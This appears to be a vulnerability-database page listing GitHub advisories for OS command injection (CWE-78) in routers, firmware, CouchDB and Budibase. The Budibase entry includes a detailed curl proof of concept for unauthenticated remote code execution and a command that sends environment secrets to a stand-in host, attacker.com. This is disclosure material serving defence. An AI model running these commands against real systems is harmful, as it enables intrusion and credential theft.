CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8272 vulnerabilities reference this CWE, most recent first.
GHSA-FCFP-F539-HFQ5
Vulnerability from github – Published: 2025-10-02 15:31 – Updated: 2025-10-02 21:31Operating system command injection vulnerability in AndSoft's e-TMS v25.03. This vulnerability allows an attacker to execute operating system commands on the server by sending a POST request. The relationship between parameter and assigned identifier is a 'm' parameter in '/clt/LOGINFRM_original.ASP'.
{
"affected": [],
"aliases": [
"CVE-2025-59739"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-02T14:15:46Z",
"severity": "CRITICAL"
},
"details": "Operating system command injection vulnerability in AndSoft\u0027s e-TMS v25.03. This vulnerability allows an attacker to execute operating system commands on the server by sending a POST request. The relationship between parameter and assigned identifier is a \u0027m\u0027 parameter in \u0027/clt/LOGINFRM_original.ASP\u0027.",
"id": "GHSA-fcfp-f539-hfq5",
"modified": "2025-10-02T21:31:17Z",
"published": "2025-10-02T15:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59739"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/update-24092025-multiple-vulnerabilities-andsofts-e-tms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FCFV-PHM7-HXW7
Vulnerability from github – Published: 2022-05-14 01:40 – Updated: 2022-05-14 01:40Aterm WG1200HP firmware Ver1.0.31 and earlier allows attacker with administrator rights to execute arbitrary OS commands via sysCmd in formWsc parameter.
{
"affected": [],
"aliases": [
"CVE-2018-0626"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-09T23:29:00Z",
"severity": "HIGH"
},
"details": "Aterm WG1200HP firmware Ver1.0.31 and earlier allows attacker with administrator rights to execute arbitrary OS commands via sysCmd in formWsc parameter.",
"id": "GHSA-fcfv-phm7-hxw7",
"modified": "2022-05-14T01:40:50Z",
"published": "2022-05-14T01:40:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0626"
},
{
"type": "WEB",
"url": "https://jpn.nec.com/security-info/secinfo/nv18-011.html"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN00401783/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FCHJ-4XR4-27F8
Vulnerability from github – Published: 2026-05-04 21:30 – Updated: 2026-05-04 21:30WDR201A WiFi Extender (HW V2.1, FW LFMZX28040922V1.02) contains an OS command injection vulnerability in the makeRequest.cgi binary that allows unauthenticated remote attackers to execute arbitrary shell commands by injecting malicious input into the set_time or StartSniffer functions. Attackers can craft a POST request with specially crafted ampersand-delimited parameters to bypass input sanitization and execute commands with a maximum length of 31 bytes through the date command or channel parameter processing.
{
"affected": [],
"aliases": [
"CVE-2026-41924"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-04T20:16:19Z",
"severity": "CRITICAL"
},
"details": "WDR201A WiFi Extender (HW V2.1, FW LFMZX28040922V1.02) contains an OS command injection vulnerability in the makeRequest.cgi binary that allows unauthenticated remote attackers to execute arbitrary shell commands by injecting malicious input into the set_time or StartSniffer functions. Attackers can craft a POST request with specially crafted ampersand-delimited parameters to bypass input sanitization and execute commands with a maximum length of 31 bytes through the date command or channel parameter processing.",
"id": "GHSA-fchj-4xr4-27f8",
"modified": "2026-05-04T21:30:26Z",
"published": "2026-05-04T21:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41924"
},
{
"type": "WEB",
"url": "https://mstreet97.github.io/security-research/iot/vulnerability-disclosure/ai-assisted-research/cybersecurity/cve/2026/05/04/Teaching_the_Machine_Where_to_Look.html"
},
{
"type": "WEB",
"url": "https://www.made-in-china.com/showroom/yeapook/#:~:text=Established%20in%202015.%2CDistrict%2C%20Shenzhen%2C%20Guangdong%2C%20China"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/wdr201a-wifi-extender-os-command-injection-via-makerequest-cgi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FCHW-692R-4W73
Vulnerability from github – Published: 2025-04-15 15:30 – Updated: 2025-04-15 18:31The TOTOLINK A810R V4.1.2cu.5182_B20201026 were found to contain a pre-auth remote command execution vulnerability in the setNoticeCfg function through the NoticeUrl parameter.
{
"affected": [],
"aliases": [
"CVE-2025-28137"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-15T14:15:41Z",
"severity": "CRITICAL"
},
"details": "The TOTOLINK A810R V4.1.2cu.5182_B20201026 were found to contain a pre-auth remote command execution vulnerability in the setNoticeCfg function through the NoticeUrl parameter.",
"id": "GHSA-fchw-692r-4w73",
"modified": "2025-04-15T18:31:43Z",
"published": "2025-04-15T15:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28137"
},
{
"type": "WEB",
"url": "https://github.com/Zerone0x00/CVE/blob/main/TOTOLINK/CVE-2025-28137.md"
},
{
"type": "WEB",
"url": "https://sudsy-eyeliner-a59.notion.site/RCE1-1ab72b8cd95f80d09eded269810f3756"
},
{
"type": "WEB",
"url": "https://sudsy-eyeliner-a59.notion.site/RCE1-1ab72b8cd95f80d09eded269810f3756?pvs=4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FCM4-4PJ2-M5HF
Vulnerability from github – Published: 2026-04-04 06:04 – Updated: 2026-04-04 06:04Summary
An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container.
Details
Vulnerable endpoint — packages/server/src/api/routes/webhook.ts line 13:
// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)
The webhook trigger endpoint is registered on publicRoutes with no authentication
middleware. Any unauthenticated HTTP client can POST to this endpoint.
Vulnerable sink — packages/server/src/automations/steps/bash.ts lines 21–26:
const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()
The Bash automation step uses Handlebars template processing (processStringSync) on
inputs.code, substituting values from the webhook request body into the shell command
string before passing it to execSync().
Attack chain:
HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH
↓
controller.trigger() [webhook.ts:90]
↓
triggers.externalTrigger()
↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run() [actions.ts:131]
↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
↓
execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT
Precondition: An admin must have created and published an automation containing:
1. A Webhook trigger
2. A Bash step whose code field uses a trigger field template (e.g., {{ trigger.cmd }})
This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks.
Note on EXECUTE_BASH availability: The bash step is only registered when
SELF_HOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments:
// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
ACTION_IMPLS["EXECUTE_BASH"] = bash.run
BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}
Webhook context flattening (why {{ trigger.cmd }} works):
In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations
the params.fields are spread directly into the trigger context:
// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
params = {
...params,
...params.fields, // { cmd: "PAYLOAD" } becomes top-level
fields: {},
}
}
This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }}
in the bash step template.
PoC
Environment
Target: http://TARGET:10000 (any self-hosted Budibase instance)
Tester: Any machine with curl
Auth: Admin credentials required for SETUP PHASE only
Zero auth required for EXPLOITATION PHASE
PHASE 1 — Admin Setup (performed once by legitimate admin)
Note: This phase represents normal Budibase usage. Any admin who creates a webhook automation with a bash step using template variables creates this exposure.
Step 1 — Authenticate as admin:
curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{
"username": "admin@company.com",
"password": "adminpassword"
}'
# Expected response:
# {"message":"Login successful"}
Step 2 — Create an application:
curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
-H "Content-Type: application/json" \
-d '{
"name": "MyApp",
"useTemplate": false,
"url": "/myapp"
}'
# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"
APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"
Step 3 — Create automation with Webhook trigger + Bash step:
curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d '{
"name": "WebhookBash",
"type": "automation",
"definition": {
"trigger": {
"id": "trigger_1",
"name": "Webhook",
"event": "app:webhook:trigger",
"stepId": "WEBHOOK",
"type": "TRIGGER",
"icon": "paper-plane-right",
"description": "Trigger an automation when a HTTP POST webhook is hit",
"tagline": "Webhook endpoint is hit",
"inputs": {},
"schema": {
"inputs": { "properties": {} },
"outputs": {
"properties": { "body": { "type": "object" } }
}
}
},
"steps": [
{
"id": "bash_step_1",
"name": "Bash Scripting",
"stepId": "EXECUTE_BASH",
"type": "ACTION",
"icon": "git-branch",
"description": "Run a bash script",
"tagline": "Execute a bash command",
"inputs": {
"code": "{{ trigger.cmd }}"
},
"schema": {
"inputs": {
"properties": { "code": { "type": "string" } }
},
"outputs": {
"properties": {
"stdout": { "type": "string" },
"success": { "type": "boolean" }
}
}
}
}
]
}
}'
# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }
AUTO_ID="au_b713759f83f64efda067e17b65545fce"
Step 4 — Enable the automation (new automations start as disabled):
# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
-H "x-budibase-app-id: $APP_ID")
# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")
curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d "$UPDATED"
Step 5 — Create webhook linked to the automation:
curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d "{
\"name\": \"MyWebhook\",
\"action\": {
\"type\": \"automation\",
\"target\": \"$AUTO_ID\"
}
}"
# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
Step 6 — Publish the app to production:
curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
-H "x-budibase-app-id: $APP_ID"
# Expected: {"status":"SUCCESS","appUrl":"/myapp"}
# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)
The attacker only needs the production app_id and webhook_id.
These can be obtained via:
- Enumeration of the Budibase web UI (app URLs are semi-public)
- Leaked configuration files or environment variables
- Insider knowledge or social engineering
Step 7 — Basic RCE — whoami/id:
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"
# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"id"}'
# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}
# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.
Step 8 — Exfiltrate all secrets:
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'
Confirmed secrets leaked (no auth):
JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase
Impact
-
Who is affected: All self-hosted Budibase deployments (
SELF_HOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow. -
What can an attacker do:
- Execute arbitrary OS commands as
rootinside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
- Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
- Establish reverse shells and persistent access
- Read/write/delete all application data via CouchDB access
- Forge JWT tokens using the leaked
JWT_SECRETto impersonate any user -
Potentially escape the container if
--privilegedor volume mounts are used -
Authentication required: None — completely unauthenticated
- User interaction required: None
- Network access required: Only access to port 10000 (the Budibase proxy port)
Discovered By: Abdulrahman Albatel Abdullah Alrasheed
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.33.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35216"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:04:58Z",
"nvd_published_at": "2026-04-03T16:16:41Z",
"severity": "CRITICAL"
},
"details": "### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint \u2014 `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn\u0027t have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink \u2014 `packages/server/src/automations/steps/bash.ts` lines 21\u201326:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId} \u2190 NO AUTH\n \u2193\ncontroller.trigger() [webhook.ts:90]\n \u2193\ntriggers.externalTrigger()\n \u2193 webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run() [actions.ts:131]\n \u2193\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n \u2193\nexecSync(\"ATTACKER_PAYLOAD\") \u2190 RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don\u0027t add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229\u2013239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n params = {\n ...params,\n ...params.fields, // { cmd: \"PAYLOAD\" } becomes top-level\n fields: {},\n }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget: http://TARGET:10000 (any self-hosted Budibase instance)\nTester: Any machine with curl\nAuth: Admin credentials required for SETUP PHASE only\n Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 \u2014 Admin Setup (performed once by legitimate admin)\n\n\u003e **Note:** This phase represents normal Budibase usage. Any admin who creates\n\u003e a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 \u2014 Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"username\": \"admin@company.com\",\n \"password\": \"adminpassword\"\n }\u0027\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 \u2014 Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"name\": \"MyApp\",\n \"useTemplate\": false,\n \"url\": \"/myapp\"\n }\u0027\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 \u2014 Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \u0027{\n \"name\": \"WebhookBash\",\n \"type\": \"automation\",\n \"definition\": {\n \"trigger\": {\n \"id\": \"trigger_1\",\n \"name\": \"Webhook\",\n \"event\": \"app:webhook:trigger\",\n \"stepId\": \"WEBHOOK\",\n \"type\": \"TRIGGER\",\n \"icon\": \"paper-plane-right\",\n \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n \"tagline\": \"Webhook endpoint is hit\",\n \"inputs\": {},\n \"schema\": {\n \"inputs\": { \"properties\": {} },\n \"outputs\": {\n \"properties\": { \"body\": { \"type\": \"object\" } }\n }\n }\n },\n \"steps\": [\n {\n \"id\": \"bash_step_1\",\n \"name\": \"Bash Scripting\",\n \"stepId\": \"EXECUTE_BASH\",\n \"type\": \"ACTION\",\n \"icon\": \"git-branch\",\n \"description\": \"Run a bash script\",\n \"tagline\": \"Execute a bash command\",\n \"inputs\": {\n \"code\": \"{{ trigger.cmd }}\"\n },\n \"schema\": {\n \"inputs\": {\n \"properties\": { \"code\": { \"type\": \"string\" } }\n },\n \"outputs\": {\n \"properties\": {\n \"stdout\": { \"type\": \"string\" },\n \"success\": { \"type\": \"boolean\" }\n }\n }\n }\n }\n ]\n }\n }\u0027\n\n# Note the automation _id from response, e.g.:\n# \"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 \u2014 Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd[\u0027disabled\u0027] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \"$UPDATED\"\n```\n\n**Step 5 \u2014 Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \"{\n \\\"name\\\": \\\"MyWebhook\\\",\n \\\"action\\\": {\n \\\"type\\\": \\\"automation\\\",\n \\\"target\\\": \\\"$AUTO_ID\\\"\n }\n }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 \u2014 Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... \u2192 app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 \u2014 Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 \u2014 Basic RCE \u2014 whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"cmd\":\"id\"}\u0027\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 \u2014 Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}\u0027\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n any admin has created an automation with a Bash step that uses webhook trigger field\n templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n - Execute arbitrary OS commands as `root` inside the application container\n - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n - Establish reverse shells and persistent access\n - Read/write/delete all application data via CouchDB access\n - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** \u2014 completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed",
"id": "GHSA-fcm4-4pj2-m5hf",
"modified": "2026-04-04T06:04:58Z",
"published": "2026-04-04T06:04:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35216"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/18238"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.33.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step"
}
GHSA-FCMF-JQFC-733W
Vulnerability from github – Published: 2023-04-04 15:30 – Updated: 2023-04-10 18:30OS Command Injection vulnerability in quectel AG550QCN allows attackers to execute arbitrary commands via ql_atfwd.
{
"affected": [],
"aliases": [
"CVE-2023-26921"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-04T15:15:00Z",
"severity": "CRITICAL"
},
"details": "OS Command Injection vulnerability in quectel AG550QCN allows attackers to execute arbitrary commands via ql_atfwd.",
"id": "GHSA-fcmf-jqfc-733w",
"modified": "2023-04-10T18:30:21Z",
"published": "2023-04-04T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26921"
},
{
"type": "WEB",
"url": "https://github.com/closethe/AG550QCN_CommandInjection_ql_atfwd/blob/main/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FCPQ-CJ4X-H8MV
Vulnerability from github – Published: 2022-05-14 01:03 – Updated: 2025-04-20 03:48CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
{
"affected": [],
"aliases": [
"CVE-2017-12636"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-14T20:29:00Z",
"severity": "HIGH"
},
"details": "CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.",
"id": "GHSA-fcpq-cj4x-h8mv",
"modified": "2025-04-20T03:48:22Z",
"published": "2022-05-14T01:03:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12636"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67%40%3Cdev.couchdb.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/01/msg00026.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201711-16"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbmu03935en_us"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44913"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
